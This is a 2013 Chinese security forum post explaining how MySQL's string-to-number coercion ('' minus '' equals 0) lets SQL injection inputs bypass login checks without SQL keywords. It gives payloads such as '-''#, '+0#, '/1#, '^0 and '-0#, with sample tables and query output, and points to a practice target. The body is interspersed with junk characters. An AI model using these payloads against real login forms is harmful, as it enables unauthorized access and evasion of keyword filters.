找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2513|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。
1 a3 B; j3 w/ B$ u' K, n% G有以下表结构:
. Y5 \" A! s$ F2 l" Q4 c; z6 m+ x# C- W9 s9 X$ u; g
mysql> desc admin;+ j2 q: E6 n9 m) v# l8 U6 Y
+----------+--------------+------+-----+---------+----------------+
# c0 I* F3 S/ A% `" B- n| Field    | Type         | Null | Key | Default | Extra          |
) u/ M: |+ {( g/ s  j+----------+--------------+------+-----+---------+----------------+# U6 R4 H6 K; u
| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |+ }; U# ]/ D; ]
| name     | char(32)     | NO   | UNI | NULL    |                |0 G4 f- S; X& O! Z+ f) y( t* [
| password | char(32)     | NO   | UNI | NULL    |                |+ v( p5 r5 s( `7 r1 V
+----------+--------------+------+-----+---------+----------------+) C9 D8 {- j" o, |' P7 J+ ~
3 rows in set (0.00 sec)7 A. F, g3 t) v' i
执行select * from admin;,成功返回所有记录内容。
& N9 e3 D" P' y4 v+ S# W% t
# w) n5 x$ X. f% ~
) V& g+ y- U8 s  [# Y! u# e+----+--------+----------------------------------+
+ ^& |; g; s% Q* G! L7 T& M| id | name   | password                         |
9 W" H, d# w& A& J& m+----+--------+----------------------------------+
9 h3 o( o8 F$ o6 s|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
1 ^  N% ?  d" ^|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |7 ]" m8 I* F( N8 k+ x: T
|  4 | n00b   | ff80e8508d39047460921792273533a4 |+ q$ m( }3 p7 \5 o  @3 ?
+----+--------+----------------------------------+
4 [1 V6 l. q$ c, p0 v" h3 rows in set (0.00 sec)
# o" W+ `6 J8 j执行select * from admin where name=”;,没有匹配到任何记录。
' Z, |4 t; k% D3 ?, @5 U& X+ N6 H  y' w( Q
mysql> select * from admin where name = '';% ~' r8 U' ^  I; B1 _7 k
Empty set (0.00 sec)
5 {% O) U4 J; J5 |( ~那么我们来执行select * from admin where name = ”-”;, t! W; M" j' \. W2 ^) V/ h

( Q; H5 f! B' J' s  _& Z% ?
: q; ^4 z: S, Y& `+----+--------+----------------------------------+
  u" a! n8 I  T8 [. h: ]7 [| id | name   | password                         |+ A5 A: l" M1 w' X7 S" r
+----+--------+----------------------------------+
" ~9 c7 Z7 z$ n8 m8 j|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |; y% ^. l# v; |% B
|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
* a9 V# ^- }2 F; O6 g|  4 | n00b   | ff80e8508d39047460921792273533a4 |! b3 V+ w1 }1 D4 Z0 i
+----+--------+----------------------------------+
! o2 K, b% s  m3 O. ]3 p/ U2 B3 rows in set, 3 warnings (0.00 sec)& ]+ v5 u8 h8 C: y; g7 G) `
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: : {- u! n5 ?4 {) z* P% i% B' W( p
1 G. O" q% s) j; r0 |" U
mysql> show warnings;
/ t' q3 m: Q, N9 \% @5 J' @# w& @+---------+------+------------------------------------------
' O' \  q3 @3 B8 w+ k% G. M& c| Level   | Code | Message
" E) M( Y/ r% B$ T1 g  X+---------+------+------------------------------------------
; z. T$ f6 u+ J3 a- a| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
7 \  D6 s% l( q- D| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s3 y2 Z6 \' d& \/ I) {
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b0 h6 i6 T; `' z1 j7 v0 l- M: f
+---------+------+------------------------------------------- x4 z* P4 J3 R. B$ q
3 rows in set (0.00 sec)
3 L/ v# p, O, J4 B- }' C) l提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 / G. }2 X9 j0 Q' q
8 p2 c1 t5 ?7 {+ \$ u4 e
mysql> select ''-'';
0 V0 H! w/ Z, h: x$ c2 n4 L7 P+-------+
: T. ]$ v2 B' R6 s| ''-'' |( Y% I; e4 ?. A, m* c: j# m
+-------+8 q9 w  X3 B3 E, h' s( j$ ?9 Q
|     0 |
( L/ G# U: y. z& H2 c+-------+! Q% y$ h3 A  L) Y  Q+ ~
1 row in set (0.00 sec)
9 L  D8 K4 y' c, f1 \+ p返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: * [% ^* s+ C$ g$ V) v, B7 Z

% {# c, |# V2 t. a/ ^# L/ X1 u9 }mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
! O: I0 t; P% v  u7 n2 J+ n3 O' Q+-----------------------------------------------------+
% ^) f4 n) Q" J; C| CAST((select name from admin limit 1,1) as DECIMAL) |- K, v/ J1 m% p$ j
+-----------------------------------------------------+  u( X3 c- P, A# c
|                                                   0 |
. V8 G1 W8 T% P4 A+-----------------------------------------------------+: s$ F- ^- p# |# Z
1 row in set, 1 warning (0.00 sec)
# H8 F6 z$ ]7 E4 K因此where语句构成了相等的条件,where 0=”=”,记录被返回。
3 P" v: [# J- A$ U* J8 t4 i' V3 S4 k" i' d: d7 e
SQL注入场景: http://www.sqlzoo.net/hack/
& F0 {9 \  w2 \7 x! r" y4 v+ ]# y% W# F
* ]6 I  o5 Q9 J' ?' k% ?

; U% r6 t+ T! n% f, ]3 v* `
1 S6 F' C" g7 |: F如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 4 P3 i  g# `9 }$ L( h! k( ?

" y0 m& `. F+ H; C0 Q0 }- z那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
1 u* m% e6 g7 A- q& I* L" O
- k' B8 s8 A0 o  y0 K( t+ v1 j- q& t- S4 J1 i

) N  c0 L! h& [
: T0 v  d, \1 N( S9 \/ G) ^' q4 x仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
; t  X3 T! z  F! P8 p" [
  a4 V" l& u# n, h6 _% r   
; P2 z+ D8 _' j3 f* z3 L: k7 I5 Z& u
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
( C; a( R1 l3 `
5 [  W  \8 g3 W* m/ m* @( i/ U
mysql> select ''/1;) n4 |" I# F. v' [* v. t
+------+
  E! v: _- v: Q5 ?| ''/1 |+ J2 y! p9 P# A- J9 e# k) @0 l0 [- F/ R
+------+
) j+ R0 F8 i4 w8 W& C: Y' M|    0 |
+ `" l% e+ V8 {$ W  O& N+------+
- G9 I3 J; P7 j$ j9 Z& u' T3 A; Y/ r1 row in set (0.00 sec)
1 ~. T7 m0 |! R4 |- X, W/ N5 }8 J/ ~类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
) [! [- R8 K" e' t: m) M
) f7 W. w  S; T: t1 c利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。* o/ q- Q2 n. v2 e2 Q5 z
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表